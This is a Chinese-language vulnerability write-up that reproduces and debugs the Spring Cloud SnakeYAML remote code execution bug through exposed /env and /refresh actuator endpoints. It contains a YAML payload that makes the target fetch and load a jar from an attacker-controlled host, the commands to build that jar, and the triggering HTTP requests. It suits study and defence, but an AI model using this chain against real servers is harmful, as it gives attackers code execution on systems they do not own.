spring cloud SnakeYAML RCE
spring cloud SnakeYAML RCE
漏洞环境:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springcloud-snakeyaml-rce
IDEA打开然后配置一个Spring Boot即可
漏洞复现:
用
python3 -m http.server 80
在 VPS 上开一个简单的 WEB 服务编写一个
example.yml
文件,上传到 VPS 根目录!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.43.141/example.jar"]]] ]
把 https://github.com/artsploit/yaml-payload 下载下来,用如下命令生成
example.jar
文件,把 jar 文件上传到 VPS 根目录(我这里把AwesomeScriptEngineFactory.java
文件里的命令执行改为弹计算机,方便测试)javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf example.jar -C src/ .
访问 env 接口改变服务器
spring.cloud.bootstrap.location
环境变量POST /env Content-Type: application/x-www-form-urlencodedspring.cloud.bootstrap.location=http://your-vps-ip/example.yml
访问 refresh 接口更新服务器配置(个人理解)
POST /refresh Content-Type: application/x-www-form-urlencoded
漏洞分析
通过 env 接口改变服务器
spring.cloud.bootstrap.location
环境变量,访问 refresh 接口更新服务器配置时,会加载spring.cloud.bootstrap.location
环境变量指向的外部 URL 地址的文件,也就是加载example.yml
文件,然后把这个 yml 文件交给 SnakeYAML 处理,SnakeYAML 根据example.yml
文件反序列化出一个 ScriptEngineManager 对象,其实就是会下载 http://192.168.43.141/example.jar 文件,并寻找一个实现javax.script.ScriptEngineFactory
接口的类,找的后进行实例化
SnakeYAML 反序列化
如下代码就相当于 SnakeYAML 反序列化 ScriptEngineManager 对象的作用
public class Test {public static void main(String[] args) throws IOException {URL url = new URL("http://192.168.43.141/example.jar");new ScriptEngineManager(new URLClassLoader(new URL[]{url}));}
}
在 Runtime#exec
方法下断点
在 ServiceLoader#nextService
方法调用了无参构造实例化对象,无参构造里面构造的命令就会执行
调用栈如下
refresh更新配置
继续在 Runtime#exec
下断点进行分析,在 RefreshEndpoint#refresh
方法处理 refresh 接口访问
在调用栈的 BootstrapApplicationListener#bootstrapServiceContext
方法中调用 environment.resolvePlaceholders
获取到服务器 spring.cloud.bootstrap.location
环境变量赋值给 configLocation 变量
然后在 PropertySourcesLoader#load
方法中根据前面获取到的 spring.cloud.bootstrap.location
环境变量的文件后缀为yml,调用 YamlPropertySourceLoader#load
方法加载 URL 对应的yml配置文件
跟进 YamlPropertySourceLoader#load
方法,因为 spring-beans.jar
包含 snakeyaml.jar
,所以会调用 SnakeYAML 库解析yml文件
最终到 YamlProcessor#process
方法中调用到 Yaml#loadAll
解析yml文件内容,之后就是反序列化 ScriptEngineManager 对象(前面分析的)
总结
版本利用存在限制:
SpringBoot 2.x 无法利用
SpringBoot 1.5.x 在 Dalston 版本可以利用,在 Edgware 版本无法利用
SpringBoot <=1.4 可以利用
漏洞利用条件:
可以访问 evn 接口
可以访问 refresh 接口
目标可以出网
参考:
https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/
https://github.com/LandGrey/SpringBootVulExploit
spring cloud SnakeYAML RCE相关推荐
- Spring Cloud Gateway rce
Spring Cloud Gateway rce cve-2022-22947 漏洞描述: Spring Cloud Gateway是Spring中的一个API网关.其3.1.0及3.0.6版本(包含 ...
- RedMonk最新编程语言排行榜;Spring 框架现 RCE 漏洞……|叨资讯
点击关注强哥,查看更多精彩文章呀 哈喽,大家好,我是强哥. Spring 框架现 RCE 漏洞:按月租用iPhone手机.随时能换新款:俄罗斯或将转用 HarmonyOS:Chrome 100发布:R ...
- Spring Boot集成ShardingSphere分片利器 AutoTable (二)—— 自动分片算法示例 | Spring Cloud 46
一.前言 在前面我们通过以下章节对ShardingSphere的AutoTable 有了基础的了解: Spring Boot集成ShardingSphere分片利器 AutoTable (一)-- 简 ...
- Spring Cloud Alibaba (一) 之Nacos
关于Nacos 在微服务概念兴起之后,越来越多的项目使用微服务的架构理念,随着服务节点的逐渐增多,我们需要一个独立的服务或者说组件,对我们的所有微服务节点进行管理.最早还没有SpringCloud的时 ...
- SpringCloud核心教程 | 第二篇: 使用Intellij中的maven来快速构建Spring Cloud工程
spring cloud简介 spring cloud 为开发人员提供了快速构建分布式系统的一些工具,包括配置管理.服务发现.断路器.路由.微代理.事件总线.全局锁.决策竞选.分布式会话等等.它运行环 ...
- Spring cloud 微服务docker容器化最佳实践
Spring cloud 是当下最炙手可热的微服务套件,我们将介绍如何整合Docker容器达到高效快捷的构建发布 采用了dockerfile-maven-plugin插件发布镜像到远程docker主机 ...
- Spring Cloud Alibaba基础教程:使用Nacos实现服务注册与发现
自Spring Cloud Alibaba发布第一个Release以来,就备受国内开发者的高度关注.虽然Spring Cloud Alibaba还没能纳入Spring Cloud的主版本管理中,但是凭 ...
- Spring Cloud下微服务权限方案
背景 从传统的单体应用转型Spring Cloud的朋友都在问我,Spring Cloud下的微服务权限怎么管?怎么设计比较合理?从大层面讲叫服务权限,往小处拆分,分别为三块:用户认证.用户权限.服务 ...
- 玩转Spring Cloud之配置中心(config server config client)
玩转Spring Cloud之配置中心(config server &config client) 本文内容导航: 一.搭建配置服务中心(config server) 1.1.git方式 1 ...
- spring cloud微服务治理eureka、hystrix、zuul代码例子
spring cloud微服务中台服务代码例子,包括eureka.hystrix.zuul https://github.com/birdstudiocn/spring-cloud-sample/tr ...
最新文章
- Udacity机器人软件工程师课程笔记(三十) - 语义分割与实例实现 - 使用keras实现语义分割
- 为什么要使用Go语言?Go语言的优势在哪里?
- python三大神器之装饰器
- 【超链接】ToMyStudy
- 【干货】裸金属服务Ironic项目介绍
- 解决启动hadoop时datanode无法启动
- c++ static用法,全局变量,与别的语言不一样
- ps - 按进程消耗内存多少排序
- Abstract class虚拟类
- u盘往linux考文件过大,U盘拷贝时提示文件过大怎么办,教您如何解决
- CodeForces - 1430E String Reversal(线段树+模拟)
- 寻找唯一特等奖java,大工斩获唯一特等奖!这次,请为我工老师疯狂打call!
- C# list删除 另外list里面的元素_C#并发实战Parallel.ForEach使用
- mysql 比较一个字符串_比较MySQL中的两个字符串?
- 固态硬盘怎么看出厂日期_如何查看SSD可以使用多长时间?固态硬盘寿命测试方法(全文)...
- eclipse为什么文件夹路径真实存在但运行显示路径不存在
- 微信公众号模版消息推送
- Canonical Coin Systems
- 思科cisoc 路由器IKEv2使用map配置隧道
- 个人GitHub地址